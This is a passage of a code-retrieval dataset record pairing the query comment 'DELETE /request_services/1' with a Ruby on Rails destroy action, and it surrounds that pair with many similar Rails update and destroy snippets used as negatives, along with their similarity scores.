!opts[:'comment'].nil?\n form_params['name'] = opts[:'name'] if !opts[:'name'].nil?\n form_params['customer_id'] = opts[:'customer_id'] if !opts[:'customer_id'].nil?\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ServiceResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['token']\n\n new_options = opts.merge(\n :operation => :\"ServiceApi.update_service\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServiceApi#update_service\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def set_service_request\n @service_request = ServiceRequest.find(params[:id])\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update!(**args)\n @operations = args[:operations] if args.key?(:operations)\n @service_config_id = args[:service_config_id] if args.key?(:service_config_id)\n end",
"def update\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(request)\n end",
"def update(request)\n end",
"def update\n # selected_services = params.delete(:services)\n#binding.pry\n @record = LabRequest.find(params[:id])\n new_params = params[:lab_request]\n @record.lab_results.where(status: :pending).delete_all\n add_services\n if @record.update_attributes(new_params)\n flash[:notice] = 'Successfully updated'\n else\n render :new\n end\n end",
"def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @call_service.update(call_service_params)\n format.html { redirect_to @call_service, notice: 'Call service was successfully updated.' }\n format.json { render :show, status: :ok, location: @call_service }\n else\n format.html { render :edit }\n format.json { render json: @call_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n# respond_to do |format|\n# if @req.update(req_params)\n format.json { render :json => {:status => 'success'}}\n# format.html { redirect_to @req, notice: 'Req was successfully updated.' }\n# format.json { render :show, status: :ok, location: @req }\n# else\n format.json { render :json => {:status => 'failed'}}\n# format.html { render :edit }\n# format.json { render json: @req.errors, status: :unprocessable_entity }\n# end\n# end\n end",
"def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, :notice => 'Request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @request.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contract_service.update(contract_service_params)\n format.html { redirect_to @contract_service, notice: 'Contract service was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_service }\n else\n format.html { render :edit }\n format.json { render json: @contract_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to services_url, notice: \"Service was successfully updated.\" }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request = Request.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update\n #Again the delete feature from ActiveResource does not work out of the box.\n #Using custom delete function\n puts \"--create a new account--\"\n new_acct = Salesforce::Rest::Account.new(:Name => \"test numero uno\", :BillingStreet=> \"Fairway Meadows\",\n :BillingState => \"NY\", :ShippingCity => \"New York\")\n resp = new_acct.save()\n\n assert (resp.code == 201)\n j = ActiveSupport::JSON\n @sf_oid = j.decode(resp.body)[\"id\"]\n puts \"New Object created: id -> \" + @sf_oid\n\n puts \"--update that new account--\"\n serialized_json = '{\"BillingState\":\"WA\"}'\n #http = Net::HTTP.new(@rest_svr_url, 443)\n http = Net::HTTP.new('na7.salesforce.com', 443)\n http.use_ssl = true\n \n class_name = \"Account\"\n path = \"/services/data/v21.0/sobjects/#{class_name}/#{@sf_oid}\"\n headers = {\n 'Authorization' => \"OAuth \"+ @oauth_token,\n \"content-Type\" => 'application/json',\n }\n code = serialized_json\n\n \n req = Net::HTTPGenericRequest.new(\"PATCH\", true, true, path, headers)\n\n resp = http.request(req, code) { |response| }\n assert !resp.nil?\n\n puts resp.to_s\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to services_url, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request = @skill.requests.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to myrequests_path, notice: 'request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update_service_perimeter request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_update_service_perimeter_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def update\n respond_to do |format|\n if @feature_request.update(feature_request_params)\n format.html { redirect_to @feature_request, notice: 'Feature request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @feature_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @event_service.update_attributes(event_service_params)\n format.html { redirect_to @event_service, notice: 'Event service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service.update_attributes(params[:service])\n format.html { redirect_to service_url(@page, @service), notice: 'Service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\r\n respond_to do |format|\r\n if @service.update(service_params)\r\n format.html { redirect_to \"/enter/companies/#{@service.company_id}/services/#{@service.id}\",method: :get, notice: 'Service was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @service }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @service.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update!(**args)\n @services = args[:services] if args.key?(:services)\n end",
"def update\n @request = Request.find(params[:id])\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to @service, notice: 'Service was successfully updated.' }\n format.json { render :show, status: :ok, location: @service }\n else\n format.html { render :edit, notice: 'Errors uploading the service.' }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n req.patch?\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n respond_to do |format|\n if @service.update(service_params)\n format.html { redirect_to edit_service_path(@service), notice: 'El servicio ha sido actualizado satisfactoriamente.' }\n format.json { render :edit, status: :ok, location: @service }\n else\n format.html { render :edit }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request_call = RequestCall.find(params[:id])\n\n respond_to do |format|\n if @request_call.update_attributes(params[:request_call])\n format.html { redirect_to @request_call, notice: 'Request call was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request_call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contact = current_user.contacts.find(params[:contact_id])\n @request = @contact.requests.find(params[:id])\n\n respond_with @request do |format|\n if @request.update_attributes(params[:request])\n @requests = @contact.requests.last_requests\n format.html { redirect_to(contact_requests_path, :notice => t('messages.updated')) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"def update\n @complex_service = ComplexService.find(params[:id])\n\n respond_to do |format|\n if @complex_service.update_attributes(params[:complex_service])\n format.html { redirect_to(@complex_service, :notice => 'ComplexService was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @complex_service.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.67236817",
"0.6592012",
"0.6511706",
"0.64438397",
"0.6306632",
"0.6301016",
"0.61602074",
"0.61107343",
"0.6084369",
"0.6081926",
"0.6072462",
"0.6058602",
"0.5994463",
"0.5981201",
"0.59780794",
"0.5966572",
"0.59411085",
"0.5934554",
"0.5934554",
"0.59266865",
"0.58891416",
"0.58794206",
"0.58674496",
"0.5866593",
"0.58564746",
"0.58533955",
"0.58461493",
"0.5846036",
"0.5846036",
"0.5833467",
"0.58313954",
"0.58232206",
"0.5811359",
"0.5811359",
"0.5811359",
"0.5811359",
"0.5782618",
"0.5776487",
"0.5766572",
"0.5764891",
"0.57589495",
"0.57589495",
"0.57543707",
"0.57543707",
"0.57407266",
"0.5739259",
"0.5734278",
"0.5733509",
"0.5715561",
"0.57145125",
"0.57145125",
"0.57145125",
"0.57145125",
"0.57145125",
"0.56980634",
"0.56957877",
"0.5673371",
"0.5666586",
"0.5666586",
"0.56646866",
"0.56592655",
"0.56592655",
"0.56576055",
"0.565372",
"0.5651588",
"0.5647086",
"0.5646824",
"0.5642935",
"0.5642935",
"0.5634632",
"0.5633476",
"0.5627922",
"0.5625094",
"0.56224215",
"0.562233",
"0.5614808",
"0.56143284",
"0.56143284",
"0.56143284",
"0.56143284",
"0.56143284",
"0.56143284",
"0.56143284",
"0.5606158",
"0.5598752",
"0.55920595",
"0.5586655",
"0.55854255",
"0.55847865",
"0.5579635",
"0.55591315",
"0.5559025",
"0.55570704",
"0.5549708",
"0.5549708",
"0.55481327",
"0.5535827",
"0.55327564",
"0.5531076",
"0.5527037"
] |
0.68162376
|
0
|
DELETE /request_services/1 DELETE /request_services/1.json
|
def destroy
@request_service.destroy
respond_to do |format|
format.html { redirect_to request_services_url, notice: 'Request service was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n #@service_request = ServiceRequest.find(params[:id])\n @service_request.destroy\n\n respond_to do |format|\n format.html { redirect_to service_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_request.destroy\n respond_to do |format|\n format.html { redirect_to service_requests_url, notice: 'Service request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_request.destroy\n respond_to do |format|\n format.html { redirect_to service_requests_url, notice: 'Service request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_request.destroy\n respond_to do |format|\n format.html { redirect_to service_requests_url, notice: 'Service request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @servicerequest.destroy\n respond_to do |format|\n format.html { redirect_to servicerequests_url, notice: 'Service request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_request = ServiceRequest.find(params[:id])\n @service_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(service_requests_url) }\n format.xml { head :ok }\n end\n end",
"def deleteRequest\n\n end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def delete\n svc = Service.find_by_label(params[:label])\n raise CloudError.new(CloudError::SERVICE_NOT_FOUND) unless svc\n raise CloudError.new(CloudError::FORBIDDEN) unless svc.verify_auth_token(@service_auth_token)\n\n svc.destroy\n\n render :json => {}\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :ok }\n end\n end",
"def destroy\n #@service is already loaded and authorized\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to manage_services_url }\n format.json { head :ok }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n render status: 200, json: @request_item.destroy\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to admin_services_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete!\n request! :delete\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @additional_service = AdditionalService.find(params[:id])\n @additional_service.destroy\n\n respond_to do |format|\n format.html { redirect_to additional_services_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request.destroy\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @additional_service.destroy\n respond_to do |format|\n format.html { redirect_to additional_services_url, notice: 'Additional service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_services_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @complex_service = ComplexService.find(params[:id])\n @complex_service.destroy\n\n respond_to do |format|\n format.html { redirect_to(complex_services_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'El servicio ha sido eliminado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_dependance = ServiceDependance.find(params[:id])\n @service_dependance.destroy\n\n respond_to do |format|\n format.html { redirect_to service_dependances_url }\n format.json { head :no_content }\n end\n end",
"def service_group_delete(a10, name)\n a10.send(:axapi, 'slb.service_group.delete', 'post', {name: name, format: 'json'})\nend",
"def destroy\n @servicetype = Servicetype.find(params[:id])\n @servicetype.destroy\n\n respond_to do |format|\n format.html { redirect_to servicetypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @servicetype = Servicetype.find(params[:id])\n @servicetype.destroy\n\n respond_to do |format|\n format.html { redirect_to servicetypes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to(services_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to(services_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to(services_url) }\n format.xml { head :ok }\n end\n end",
"def delete(request)\n _request(request) { |client, options| client.delete options }\n end",
"def destroy\n @request_call = RequestCall.find(params[:id])\n @request_call.destroy\n\n respond_to do |format|\n format.html { redirect_to request_calls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to service_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(request)\n do_request(request) { |client| client.http_delete }\n end",
"def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"def delete_service request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_service_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Protobuf::Empty.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: \"Service was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'El servicio ha sido destruido satisfactoriamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sa_request.destroy\n respond_to do |format|\n format.html { redirect_to sa_requests_url, notice: 'Sa request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @idti_service.destroy\n respond_to do |format|\n format.html { redirect_to idti_services_url, notice: 'Idti service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @call_service.destroy\n respond_to do |format|\n format.html { redirect_to call_services_url, notice: 'Call service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contract_service.destroy\n respond_to do |format|\n format.html { redirect_to contract_services_url, notice: 'Contract service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @multi_agent_service.destroy\n respond_to do |format|\n format.html { redirect_to multi_agent_services_url, notice: 'Entry was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @additionalservice.destroy\n respond_to do |format|\n format.html { redirect_to additionalservices_url, notice: 'Additionalservice was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_type = ServiceType.find(params[:id])\n @service_type.destroy\n\n respond_to do |format|\n format.html { redirect_to service_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @event_service.destroy\n respond_to do |format|\n format.html { redirect_to event_services_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_service.destroy\n respond_to do |format|\n format.html { redirect_to invoice_services_url, notice: 'Invoice service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @counter_service.destroy\n respond_to do |format|\n format.html { redirect_to counter_services_url, notice: 'Counter service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to request.referer, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end",
"def delete\n start { |connection| connection.request http :Delete }\n end",
"def destroy\n @service_item.destroy\n respond_to do |format|\n format.html { redirect_to service_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to user_services_url(@user), notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n supprimer = SondageService.instance.supprimerSondage(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\nend",
"def destroy\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n @solicitud_servicio.destroy\n\n respond_to do |format|\n format.html { redirect_to solicitudes_servicios_url }\n format.json { head :no_content }\n end\n end",
"def delete\n api_client.delete(url)\n end",
"def delete(request_opts = {})\n store_result(http(request_opts).delete(resolved_path))\n end",
"def destroy\r\n authorize! :destroy, @service\r\n @service.destroy\r\n respond_to do |format|\r\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def delete\n url = prefix + \"delete\"\n return response(url)\n end",
"def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { message('You have successfully deleted this request') }\n format.json { head :ok }\n end\n end"
] |
[
"0.74874973",
"0.7254175",
"0.7254175",
"0.7254175",
"0.7109953",
"0.7102991",
"0.7066855",
"0.70497555",
"0.68953276",
"0.6846716",
"0.6766193",
"0.6735815",
"0.6732323",
"0.67136776",
"0.67136776",
"0.67136776",
"0.6702062",
"0.67009854",
"0.6681709",
"0.66807646",
"0.66765946",
"0.6662697",
"0.66192794",
"0.6591275",
"0.6579719",
"0.6579719",
"0.6579719",
"0.6579719",
"0.6566529",
"0.6565886",
"0.65594447",
"0.65591365",
"0.6556705",
"0.6556705",
"0.65412664",
"0.65412664",
"0.65412664",
"0.65377027",
"0.6530544",
"0.6519782",
"0.6519782",
"0.6519782",
"0.6519782",
"0.6519782",
"0.6519782",
"0.64960694",
"0.6494558",
"0.64879346",
"0.6484122",
"0.6481974",
"0.64703876",
"0.64703876",
"0.6468118",
"0.64654243",
"0.64654243",
"0.64654243",
"0.6463959",
"0.6461909",
"0.6460233",
"0.6458224",
"0.6453617",
"0.6452238",
"0.6447541",
"0.6447134",
"0.6447134",
"0.6447134",
"0.6447134",
"0.6447134",
"0.6447134",
"0.6447134",
"0.6447134",
"0.6447134",
"0.6447134",
"0.6447134",
"0.6447134",
"0.6447134",
"0.6446055",
"0.64404863",
"0.64399916",
"0.6438145",
"0.643662",
"0.6421496",
"0.6411237",
"0.64096767",
